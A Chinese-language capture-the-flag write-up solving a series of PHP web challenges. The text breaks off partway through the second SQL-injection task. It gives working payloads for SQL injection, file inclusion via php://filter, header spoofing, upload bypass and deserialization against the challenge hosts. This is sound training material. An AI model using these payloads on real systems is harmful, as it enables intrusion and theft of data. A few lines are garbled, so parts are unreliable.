WEB
签到题1
打开页面
直接看源码得到flag
md5 collision
<?php$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{
echo "please input a";
}
?>
看完后,是php的弱类型比较,还涉及md5值,所以构造一串字符串使得比较相同,度娘
这里总结了大部分MD5(http://www.219.me/posts/2884.html)
签到题2
打开发现
尝试按所说的来,发现最后一位不能输入。
果断用burpsuite进行修改
flag得到
这题不是WEB
打开网页,发现一个动图
下载下来,扔进UE分析,在最下面发现flag
层层递进
脑洞题
查看下发现
直接找到flag
AAencode
一看明显就是一种编码
解码就得flag
单身二十年
打开网页,点击链接,发现跳转
联想到他说的手速,直接burpsuite拦截,扔进***Reperter***分析
你从哪里来
打开一看,什么也没有,源码也没有啥东西
分析看来他需要伪造来访问,利用火狐插件
直接构造一个Referer,访问就得flag
php decode
打开一看是一段代码,执行后发现出错,似乎是eval用错,替换成echo直接输出,得到flag
<?php
function CLsI($ZzvSWE)
{
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++)
{
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
echo (CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
文件包含
php://filter
是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
-
include “test.php”
php文件包含,在执行流中插入写在其他文件中的有用的代码。读取的时候也是数据流形式,因此可以使用php://filter
进行过滤,返回值为0,1。 -
readfile(“test.php”)
是将文件以数据流的形式读取过来,并不会执行,但会在前台浏览器上进行解析。返回值是字节数多少。 -
file_get_contents(“test.php”)
返回值为文本内容
此题运用的就是关于数据流过滤的文件包含,我们一般在进行文件包含的时候都这么写include “test.php”
获得的就是test.php
直接解析出来。但如果运用readfile(“test.php”)
就不进行解析,导致无法在浏览器前台进行显示。
通过提示可知道这是一道典型的文件包含漏洞,遇见这种使filter
的方式读取php的源代码
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
爆出来一连串字符串,是base64加密
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
解密可得:
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
即得flag
单身一百年也没有用
打开一个链接,直接用burpsuite拦截,点击链接点击key***,用Repeater分析即得flag*
Download~!
利用burpsuite抓包看看,点击两个下载比对一下,发现它的url是可变的,而且是base64编码
这样的话构造一下download.php的base64编码
,放置url运行,得到源码
<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
$file_size = filesize($url);
header ( "Pragma: public" );
header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header ( "Cache-Control: private", false );
header ( "Content-Transfer-Encoding: binary" );
header ( "Content-Type:audio/mpeg MP3");
header ( "Content-Length: " . $file_size);
header ( "Content-Disposition: attachment; filename=".$url);
echo(file_get_contents($url));
exit;
}
else {
echo "Access Forbidden!";
}
?>
分析源码可知有一个hereiskey.php
,构造url提交可得flag
COOKIE
打开网页,显示需要登录,利用burpsuite抓包发现返回的Login=0
,结合提示,需要构造Login=1
,直接利用火狐插件Live HTTP headers***
重新提交即得flag*
MYSQL
<pre>别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?></pre>
根据提示打开robots.txt,发现一堆代码,因为**intval函数是转化整形(http://www.php.net/manual/zh/function.intval.php)构造sql.php?id=1024.1即得flag
sql injection 3
打开就看见
执行的sql语句:SELECT id,title FROM news WHERE id=‘1’
尝试闭合'
构造语句,发现无论怎么构造都会出现\
http://115.28.150.176/sqli/index.php?id=1’ select * from news
看来需要干掉/
。尝试id ,发现id=2
时出现提示
id: 2 title: gbk_sql_injection
看来是宽字节注入,查阅相关的资料
可知当存在%df
时就会吃掉\
多次尝试,最终构造
http://115.28.150.176/sqli/index.php?id=�’ union select *,1 from flag%23
出现flag
/x00
view-source:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
明显就是字符串截断,构造:
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%23biubiubiu
得到flag
如:nctf[]=1.#biubiubiu
参考(http://www.2cto.com/article/201502/377462.html)
bypass again
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
一开始以为是md5的弱类型比较,结果发现是恒等于的强类型比较,这时就考虑md5函数的用法,构造?a[]=1&b[]=2
这样md5函数无法处理数组返回false完成匹配得到flag
变量覆盖
查看源码,发现一个source.php
打开发现解题关键代码
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
发现有一个extract
,查阅一下相关资料,发现有漏洞
http://www.w3school.com.cn/php/func_array_extract.asp
这样不用管之前的值,直接覆盖就行
得到flagnctf{bian_liang_fu_gai!}
PHP是世界上最好的语言
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
这道题目的问题在于urldecode()
,传递过来的$_GET[id]
已经进行url编码。那么这道题目只需要将id=hackerDJ
进行两次url编码即可。
最终的payload为:
伪装者
提示说必须在本地登陆,好说,直接利用Modify Headers增加X-Forwarder-For:127.0.0.1
刷新即得flag
Header
根据提示头,查看即得flag
上传绕过
既然是上传绕过,尝试修改后缀,发现不成功
猜测利用截断,分别构造xi.php .jpg
然后空格Hex修改为00绕过上传,发现无法绕过
发现有一个/uploads
,发送的网络请求对于参数dir存在一个uploads的值,那么构造/uploads/xi.php[空格]
,修改Hex
下方的文件名依旧是filename="xi.php.jpg
可以参考链接
SQL注入1
源码
<pre><?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?></pre>
简单的注入,构造
user=admin '#
发现报错,仔细阅读源码,发现有一个(
,需要闭合
user=admin ')#
得到flag:nctf{ni_ye_hui_sql?}
pass chack
核心源码
<?php
$pass=@$_POST['pass'];
$pass1=*;//被隐藏起来的密码
if(isset($pass)) {
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
} else {
echo "the pass is wrong!";
}
} else {
echo "please input pass!";
}
?>
提示一看简单明了
构造
起名字很难
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
一看就是需要赋值key且不能再1-9之间的数字,但是最后需要使key与54975581388相等,这样的话尝试十六进制,正好54975581388的十六进制是0xccccccccc全部不在1-9之间
http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
得到flag
密码重置
莫名其妙这道题,直接抓包,修改user1=YWRtaW4=
和 user=admin
即得flag
php 反序列化
这道题学习到很多
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>
由于
get_magic_quotes_gpc()— 获取当前 magic_quotes_gpc 的配置选项设置
但始终返回 FALSE
,因为这个魔术引号功能已经从 PHP 中移除了
那么这道题主要考察的就是序列化与反序列化
可以看一下这个链接:
http://www.cnblogs.com/A-Song/archive/2011/12/13/2285619.html
简单来说:
-
serialize() 把某种含有结构的数据进行转换,其结果为某种规定格式的字符串。
-
unserialize() 将已序列化的字符串恢复为原来的格式或结构
首先把传入的 p a s s 参 数 反 序 列 化 , 并 传 参 给 pass参数反序列化,并传参给 pass参数反序列化,并传参给o。
如 o 被 传 参 成 功 , 则 o被传参成功,则 o被传参成功,则o->secret被赋值为一个"*"
如果$o->secret === $o->enter,那么就输出o->secret
由于很难构造相等,那么查看资料知:
在** PHP **中普通的传值赋值行为有个例外就是碰到对象 object 时,在 PHP 5 中是以引用赋值的,除非明确使用了 **clone **关键字来拷贝,**PHP **支持引用赋值,使用
$var = &$othervar;
引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。
我们构造:
<?php
class just4fun {
var $enter;
var $secret;
}
$o = new just4fun();
$o->enter = &$o->secret; //这里是重点。我们使用引用传参的特点,让$o->secret的值和$o->enter的值,这样两个变量就永远相等了
echo serialize($o);
?>
序列化字符串为:
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
提交后得到flag
sql injection 4
有提示:
TIP:反斜杠可以用来转义
仔细查看相关函数的用法
查看源码:
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
这就可以看出get_magic_quotes_gpc()
这个是查看魔法引号,高版本的php已经移除这个功能,在这里并不耽误,
意义:
当 magic_quotes_gpc 打开时,所有的 ’ (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。
链接
与stripslashes()
搭配使用,此函数是删除所有的\
的
链接
而htmlentities($str, ENT_QUOTES)
是指编码所有的双引号和单引号
链接
而通过阅读这个sql查询代码,可以知道,要想避开查询,就必须构造一个全真代码,加一个or 1
但之前就多了一个引号
注释引号的方法有两种
- 用
'
闭合
- 用
\
转移
这题直接本地搭个环境
在这里由于'
被转移,所以可以使用\
注释
所以payload:
http://chinalover.sinaapp.com/web15/index.php?username= \&password= or 1%23
大致插入进去的查询语句是
SELECT * FROM users WHERE name=’ ’ AND pass=’ or 1#’;
得到flag:nctf{sql_injection_is_interesting}
综合题
打开后一看是jother直接利用火狐的命令行输出得到解码后的结果
1bc29b36f623ba82aaf6724fd3b16718.php
结果打开后发现不对,还被嘲讽了一番
这时候看看tip:bash
百度了一下相关,最终查出/.bash_history
这个是用来存放历史记录的,这时候尝试访问
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
得到
zip -r flagbak.zip ./*
直接访问flagbak.zip
会得到一个下载压缩包,下载即得flag
SQL注入2
查看源代码
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user =